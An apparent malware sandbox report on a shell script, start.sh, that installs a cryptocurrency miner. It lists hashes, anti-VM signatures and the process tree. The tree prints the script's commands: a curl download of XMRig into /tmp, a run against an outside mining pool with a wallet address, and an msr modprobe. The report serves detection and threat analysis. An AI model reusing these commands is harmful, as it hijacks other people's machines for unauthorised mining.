Overview

overview

10

Static

static

1

start.sh

ubuntu-18.04-amd64

10

start.sh

ubuntu-20.04-amd64

10

Analysis

  • max time kernel
    1800s
  • max time network
    1785s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240221-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    20-03-2024 21:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    start.sh

  • Size

    587B

  • MD5

    60908850cbaa3ea10f537854675c5017

  • SHA1

    ff4713b46e81dbe16a83efd12b0c274ee8f84893

  • SHA256

    3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415

  • SHA512

    eec5e1b0c381b01b1866925dd5f593ed658215ca88cf9d3eee711e96d6617434896cf12b297e81fbc2e42eb01a474ff92473ac43ad639f23a515a5958084c407

Score
10/10
xmrigantivmminer

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 45 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 9 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/start.sh
    /tmp/start.sh
    1⤵
      PID:1470
      • /usr/bin/curl
        curl -L https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-static-x64.tar.gz -o xmrig-6.21.1-linux-static-x64.tar.gz
        2⤵
        • Writes file to tmp directory
        PID:1475
      • /usr/bin/tar
        tar -xvf xmrig-6.21.1-linux-static-x64.tar.gz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:1928
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:1929
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:1929
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:1929
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:1929
              • /tmp/xmrig-6.21.1/xmrig
                ./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                2⤵
                • Executes dropped EXE
                • Checks CPU configuration
                • Checks hardware identifiers (DMI)
                • Reads CPU attributes
                • Reads hardware information
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:1930
                • /bin/sh
                  sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"
                  3⤵
                    PID:1936
                    • /sbin/modprobe
                      /sbin/modprobe msr "allow_writes=on"
                      4⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:1937

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/xmrig-6.21.1-linux-static-x64.tar.gz
                Filesize

                1.1MB

                MD5

                91faa846205a2994bcdf600991f739b2

                SHA1

                1ed3a915f542d8bd26d8d4e3dd8b9be574a0f139

                SHA256

                58aa68da862c67c5ab0a5bdaf8702f97b3d5c473732b791e5559ca2af30978ac

                SHA512

                26523d4114e685cb4fe2d00c0ecdc3d8ce30a0a683d2c59af6dff98fb8a32d7cd0d12bbaa112d5e686379e8c286bf28e0d85991150903b56035c5a2f63d2e9b6

                Download Submit

              • /tmp/xmrig-6.21.1/config.json
                Filesize

                2KB

                MD5

                66f38c96a4901e7b345787c447842b3e

                SHA1

                2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

                SHA256

                2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

                SHA512

                71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

                Download Submit

              • /tmp/xmrig-6.21.1/xmrig
                Filesize

                6.7MB

                MD5

                92caa52c70f933ba0bd5df8a063b5c7d

                SHA1

                43a44be5eb2e3fcdda3f5d75b66069589df087ee

                SHA256

                e7d10e4f56520b3842f8f6d58a865c4b9992ed2307af71fd6be7e3a67429b02c

                SHA512

                d2b84a413280d9d33795f5b605912eadfcfac805c56788c01f07b832ec9bd043aa842ebc8856bf725ab6f3eec07525f96ea5be5f0e352bec4ff5d68a0118690e

                Download Submit